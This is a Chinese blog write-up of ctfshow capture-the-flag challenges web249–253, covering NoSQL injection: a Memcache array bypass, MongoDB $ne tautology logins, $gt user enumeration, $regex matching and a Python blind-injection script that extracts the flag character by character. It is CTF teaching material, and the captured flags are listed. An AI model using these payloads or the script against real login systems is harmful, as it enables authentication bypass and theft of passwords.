ctfshow-web入门-sql注入(web249-web253)nosql 注入

目录

1、web249

2、web250

3、web251

4、wen252

5、web253


1、web249

开始nosql,flag在flag中

 $user = $memcache->get($id);

使用 Memcache 类的 get 方法从缓存中获取数据,$id 是传入的键,用于从缓存中获取与该键对应的值,结果存储在 $user 变量中。 

直接查 flag,遇到报错:

采用数组绕过,payload: 

/api/?id[]=flag

拿到 flag:ctfshow{ca4ee4b2-308d-4466-b067-ae819563945c}

2、web250

mongodb 操作符:

方法名 描述
$gt 大于
$lte 小于等于
$in 包含
$nin 不包含
$lt 小于
$gte 大于等于
$ne 不等于
$eq

等于

$and
$nor $nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档。
$not 反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在。
$or

在这些操作符中,$ne 就是我们在重言式注入中需要利用到的那个,它的作用是将不等于指定值的数据都查询出来,比如 $ne=1 时就是将所有不等于 1 的数据都查询出来。

payload:

username[$ne]=1&password[$ne]=1

 特别注意这里的接口是 /api/index.php,或者你在 api 后面打上斜杠,否则一直查询失败。

拿到 flag:ctfshow{4a370dd2-476d-4cb8-af90-835fe1186271}

3、web251

用重言式注入得到的是 admin 的密码:ctfshow666nnneeaaabbbcc

试了一下登录成功,但是也未见 flag 

 

查用户名不为 admin 的,payload:

username[$ne]=admin&password[$ne]=1

拿到 flag:ctfshow{a438711a-09d0-495d-8023-a562a9bad1e3}

4、wen252

用上一个 payload 但还出来了一个 admin1 

用 $gt (大于)继续尝试: 

username[$gt]=admin1&password[$ne]=1

还有 admin2

继续测,还有 admin3

直到:

username[$gt]=admin3&password[$ne]=1

 出来了一个名为 f_l_a_g 的用户,密码即为 flag

拿到 flag:ctfshow{02bc45f0-035d-46e1-bff0-d3388be3e90f}

当然这里更简便的方法,我们可以采用正则。

查 password 中以 ctfshow{ 开头的,payload:

username[$ne]=1&password[$regex]=^ctfshow{
   
   

5、web253

采用上一题的正则,虽然登录成功,但是没有回显 flag

这里采用盲注:

username[$ne]=1&password[$regex]=^c

验证一下,确实是不同的回显(flag 的第一个字符肯定是 c )

写个脚本来跑即可:

# @author:Myon
# @time:20240913
import requests
import string

url = 'http://9e856a5a-0dd8-4fac-8b5a-450688cee600.challenge.ctf.show/api/'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = 'ctfshow{'

for j in range(9,50):
    for k in dic:
        payload = {'username[$ne]':'1','password[$regex]': f'^{out+k}'}
        # print(payload)
        re = requests.post(url, data=payload)
        # print(re.text)
        if "\\u767b\\u9646\\u6210\\u529f" in re.text: # 注意反斜杠需要转义
            out += k
            break
    print(out)

但是这里如果从第一个字符注过去,得到的东西就很奇怪 

关键是这个东西还真的存在,确实可以登录成功

这里从 ctfshow{ 后面开始注,将前面的 8 个字符确定后再继续猜后面的字符,即可拿到正确的 flag:ctfshow{042c08ff-2628-445f-928c-583482e193d2}

至此,ctfshow-web入门-sql注入结束,20240913,Myon  

猜你喜欢

转载自blog.csdn.net/Myon5/article/details/142187219